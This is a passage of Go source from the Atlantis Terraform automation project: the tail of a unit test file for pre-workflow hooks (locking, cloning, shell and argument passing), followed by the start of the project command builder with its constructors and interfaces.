\"plan\",\n\t}\n\n\tplanCmd := &events.CommentCommand{\n\t\tName: command.Plan,\n\t}\n\n\tapplyCmd := &events.CommentCommand{\n\t\tName: command.Apply,\n\t}\n\n\tt.Run(\"success hooks in cfg\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"success hooks not in cfg\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t// one with hooks but mismatched id\n\t\t\t\t{\n\t\t\t\t\tID: \"id1\",\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t// one with the correct id but no hooks\n\t\t\t\t{\n\t\t\t\t\tID:               testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\n\t\twhPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand),\n\t\t\tEq(defaultShell), Eq(defaultShellArgs), Eq(repoDir))\n\t\tpreWhWorkingDirLocker.VerifyWasCalled(Never()).TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, \"\", command.Plan)\n\t\tpreWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))\n\t})\n\n\tt.Run(\"error locking work dir\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(func() {}, errors.New(\"some error\"))\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tAssert(t, err != nil, \"error not nil\")\n\t\tpreWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))\n\t\twhPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand),\n\t\t\tEq(defaultShell), Eq(defaultShellArgs), Eq(repoDir))\n\t})\n\n\tt.Run(\"error cloning\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, errors.New(\"some error\"))\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tAssert(t, err != nil, \"error not nil\")\n\n\t\twhPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand),\n\t\t\tEq(defaultShell), Eq(defaultShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"error running pre hook\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, errors.New(\"some error\"))\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tAssert(t, err != nil, \"error not nil\")\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"comment args passed to webhooks\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tplanCmd := &events.CommentCommand{\n\t\t\tName:  command.Plan,\n\t\t\tFlags: []string{\"comment\", \"args\"},\n\t\t}\n\n\t\texpectedCtx := pCtx\n\t\texpectedCtx.EscapedCommentArgs = []string{\"\\\\c\\\\o\\\\m\\\\m\\\\e\\\\n\\\\t\", \"\\\\a\\\\r\\\\g\\\\s\"}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](),\n\t\t\tAny[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand),\n\t\t\tEq(defaultShell), Eq(defaultShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"shell passed to webhooks\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithShell,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShell.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithShell.RunCommand), Eq(testHookWithShell.Shell), Eq(defaultShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"shellArgs passed to webhooks\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithShellArgs,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithShellArgs.RunCommand), Eq(defaultShell), Eq(testHookWithShellArgs.ShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"Shell and ShellArgs passed to webhooks\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithShellandShellArgs,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShellandShellArgs.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithShellandShellArgs.RunCommand), Eq(testHookWithShellandShellArgs.Shell),\n\t\t\tEq(testHookWithShellandShellArgs.ShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"Commands 'plan' set on webhook and plan command\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithPlanCommand,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"Commands 'plan' set on webhook and non-plan command\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithPlanCommand,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Apply)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := preWh.RunPreHooks(ctx, applyCmd)\n\n\t\tOk(t, err)\n\t\twhPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"Commands 'plan, apply' set on webhook and plan command\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithPlanApplyCommands,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanApplyCommands.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithPlanApplyCommands.RunCommand), Any[string](), Any[string](), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n}\n"
  },
  {
    "path": "server/events/project_command_builder.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"slices\"\n\t\"sort\"\n\t\"strings\"\n\n\ttally \"github.com/uber-go/tally/v4\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/tfclient\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n)\n\nconst (\n\t// DefaultRepoRelDir is the default directory we run commands in, relative\n\t// to the root of the repo.\n\tDefaultRepoRelDir = \".\"\n\t// DefaultWorkspace is the default Terraform workspace we run commands in.\n\t// This is also Terraform's default workspace.\n\tDefaultWorkspace = \"default\"\n\t// DefaultDeleteSourceBranchOnMerge being false is the default setting whether or not to remove a source branch on merge\n\tDefaultDeleteSourceBranchOnMerge = false\n\t// DefaultAbortOnExecutionOrderFail being false is the default setting for abort on execution group failures\n\tDefaultAbortOnExecutionOrderFail = false\n)\n\nfunc NewInstrumentedProjectCommandBuilder(\n\tlogger logging.SimpleLogging,\n\tpolicyChecksSupported bool,\n\tparserValidator *config.ParserValidator,\n\tprojectFinder ProjectFinder,\n\tvcsClient vcs.Client,\n\tworkingDir WorkingDir,\n\tworkingDirLocker WorkingDirLocker,\n\tglobalCfg valid.GlobalCfg,\n\tpendingPlanFinder *DefaultPendingPlanFinder,\n\tcommentBuilder CommentBuilder,\n\tskipCloneNoChanges bool,\n\tEnableRegExpCmd bool,\n\tEnableAutoMerge bool,\n\tEnableParallelPlan bool,\n\tEnableParallelApply bool,\n\tAutoDetectModuleFiles string,\n\tAutoplanFileList string,\n\tRestrictFileList bool,\n\tSilenceNoProjects bool,\n\tIncludeGitUntrackedFiles bool,\n\tAutoDiscoverMode string,\n\tscope tally.Scope,\n\tterraformClient tfclient.Client,\n) *InstrumentedProjectCommandBuilder {\n\tscope = scope.SubScope(\"builder\")\n\n\tfor _, m := range []string{metrics.ExecutionSuccessMetric, metrics.ExecutionErrorMetric} {\n\t\tmetrics.InitCounter(scope, m)\n\t}\n\n\treturn &InstrumentedProjectCommandBuilder{\n\t\tProjectCommandBuilder: NewProjectCommandBuilder(\n\t\t\tpolicyChecksSupported,\n\t\t\tparserValidator,\n\t\t\tprojectFinder,\n\t\t\tvcsClient,\n\t\t\tworkingDir,\n\t\t\tworkingDirLocker,\n\t\t\tglobalCfg,\n\t\t\tpendingPlanFinder,\n\t\t\tcommentBuilder,\n\t\t\tskipCloneNoChanges,\n\t\t\tEnableRegExpCmd,\n\t\t\tEnableAutoMerge,\n\t\t\tEnableParallelPlan,\n\t\t\tEnableParallelApply,\n\t\t\tAutoDetectModuleFiles,\n\t\t\tAutoplanFileList,\n\t\t\tRestrictFileList,\n\t\t\tSilenceNoProjects,\n\t\t\tIncludeGitUntrackedFiles,\n\t\t\tAutoDiscoverMode,\n\t\t\tscope,\n\t\t\tterraformClient,\n\t\t),\n\t\tLogger: logger,\n\t\tscope:  scope,\n\t}\n}\n\nfunc NewProjectCommandBuilder(\n\tpolicyChecksSupported bool,\n\tparserValidator *config.ParserValidator,\n\tprojectFinder ProjectFinder,\n\tvcsClient vcs.Client,\n\tworkingDir WorkingDir,\n\tworkingDirLocker WorkingDirLocker,\n\tglobalCfg valid.GlobalCfg,\n\tpendingPlanFinder *DefaultPendingPlanFinder,\n\tcommentBuilder CommentBuilder,\n\tskipCloneNoChanges bool,\n\tEnableRegExpCmd bool,\n\tEnableAutoMerge bool,\n\tEnableParallelPlan bool,\n\tEnableParallelApply bool,\n\tAutoDetectModuleFiles string,\n\tAutoplanFileList string,\n\tRestrictFileList bool,\n\tSilenceNoProjects bool,\n\tIncludeGitUntrackedFiles bool,\n\tAutoDiscoverMode string,\n\tscope tally.Scope,\n\tterraformClient tfclient.Client,\n) *DefaultProjectCommandBuilder {\n\treturn &DefaultProjectCommandBuilder{\n\t\tParserValidator:          parserValidator,\n\t\tProjectFinder:            projectFinder,\n\t\tVCSClient:                vcsClient,\n\t\tWorkingDir:               workingDir,\n\t\tWorkingDirLocker:         workingDirLocker,\n\t\tGlobalCfg:                globalCfg,\n\t\tPendingPlanFinder:        pendingPlanFinder,\n\t\tSkipCloneNoChanges:       skipCloneNoChanges,\n\t\tEnableRegExpCmd:          EnableRegExpCmd,\n\t\tEnableAutoMerge:          EnableAutoMerge,\n\t\tEnableParallelPlan:       EnableParallelPlan,\n\t\tEnableParallelApply:      EnableParallelApply,\n\t\tAutoDetectModuleFiles:    AutoDetectModuleFiles,\n\t\tAutoplanFileList:         AutoplanFileList,\n\t\tRestrictFileList:         RestrictFileList,\n\t\tSilenceNoProjects:        SilenceNoProjects,\n\t\tIncludeGitUntrackedFiles: IncludeGitUntrackedFiles,\n\t\tAutoDiscoverMode:         AutoDiscoverMode,\n\t\tProjectCommandContextBuilder: NewProjectCommandContextBuilder(\n\t\t\tpolicyChecksSupported,\n\t\t\tcommentBuilder,\n\t\t\tscope,\n\t\t),\n\t\tTerraformExecutor: terraformClient,\n\t}\n}\n\ntype ProjectPlanCommandBuilder interface {\n\t// BuildAutoplanCommands builds project commands that will run plan on\n\t// the projects determined to be modified.\n\tBuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error)\n\t// BuildPlanCommands builds project plan commands for this ctx and comment. If\n\t// comment doesn't specify one project then there may be multiple commands\n\t// to be run.\n\tBuildPlanCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error)\n}\n\ntype ProjectApplyCommandBuilder interface {\n\t// BuildApplyCommands builds project Apply commands for this ctx and comment. If\n\t// comment doesn't specify one project then there may be multiple commands\n\t// to be run.\n\tBuildApplyCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error)\n}\n\ntype ProjectApprovePoliciesCommandBuilder interface {\n\t// BuildApprovePoliciesCommands builds project PolicyCheck commands for this ctx and comment.\n\tBuildApprovePoliciesCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error)\n}\n\ntype ProjectVersionCommandBuilder interface {\n\t// BuildVersionCommands builds project Version commands for this ctx and comment. If\n\t// comment doesn't specify one project then there may be multiple commands\n\t// to be run.\n\tBuildVersionCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error)\n}\n\ntype ProjectImportCommandBuilder interface {\n\t// BuildImportCommands builds project Import commands for this ctx and comment. If\n\t// comment doesn't specify one project then there may be multiple commands\n\t// to be run.\n\tBuildImportCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error)\n}\n\ntype ProjectStateCommandBuilder interface {\n\t// BuildStateRmCommands builds project state rm commands for this ctx and comment. If\n\t// comment doesn't specify one project then there may be multiple commands\n\t// to be run.\n\tBuildStateRmCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error)\n}\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_project_command_builder.go ProjectCommandBuilder\n\n// ProjectCommandBuilder builds commands that run on individual projects.\ntype ProjectCommandBuilder interface {\n\tProjectPlanCommandBuilder\n\tProjectApplyCommandBuilder\n\tProjectApprovePoliciesCommandBuilder\n\tProjectVersionCommandBuilder\n\tProjectImportCommandBuilder\n\tProjectStateCommandBuilder\n}\n\n// DefaultProjectCommandBuilder implements ProjectCommandBuilder.\n// This class combines the data from the comment and any atlantis.yaml file or\n// Atlantis server config and then generates a set of contexts.\ntype DefaultProjectCommandBuilder struct {\n\t// Parses and validates server-side repo config files and repo-level atlantis.yaml files.\n\tParserValidator *config.ParserValidator\n\t// Determines which projects were modified in a given pull request.\n\tProjectFinder ProjectFinder\n\t// Used to make API calls to a VCS host like GitHub or GitLab.\n\tVCSClient vcs.Client\n\t// Handles the workspace on disk for running commands.\n\tWorkingDir WorkingDir\n\t// Used to prevent multiple commands from executing at the same time for a single repo, pull, and workspace.\n\tWorkingDirLocker WorkingDirLocker\n\t// The final parsed version of the server-side repo config.\n\tGlobalCfg valid.GlobalCfg\n\t// Finds unapplied plans.\n\tPendingPlanFinder *DefaultPendingPlanFinder\n\t// Builds project command contexts for Atlantis commands.\n\tProjectCommandContextBuilder ProjectCommandContextBuilder\n\t// User config option: Skip cloning the repo during autoplan if there are no changes to Terraform projects.\n\tSkipCloneNoChanges bool\n\t// User config option: Enable the use of regular expressions to run plan/apply commands against defined project names.\n\tEnableRegExpCmd bool\n\t// User config option: Automatically merge pull requests after all plans have been successfully applied.\n\tEnableAutoMerge bool\n\t// User config option: Whether to run plan operations in parallel.\n\tEnableParallelPlan bool\n\t// User config option: Whether to run apply operations in parallel.\n\tEnableParallelApply bool\n\t// User config option: Enables auto-planning of projects when a module dependency in the same repository has changed.\n\tAutoDetectModuleFiles string\n\t// User config option: List of file patterns to to to check if a directory contains modified files.\n\tAutoplanFileList string\n\t// User config option: Format Terraform plan output into a markdown-diff friendly format for color-coding purposes.\n\tEnableDiffMarkdownFormat bool\n\t// User config option: Block plan requests from projects outside the files modified in the pull request.\n\tRestrictFileList bool\n\t// User config option: Ignore PR if none of the modified files are part of a project.\n\tSilenceNoProjects bool\n\t// User config option: Include git untracked files in the modified file list.\n\tIncludeGitUntrackedFiles bool\n\t// User config option: Controls auto-discovery of projects in a repository.\n\tAutoDiscoverMode string\n\t// Handles the actual running of Terraform 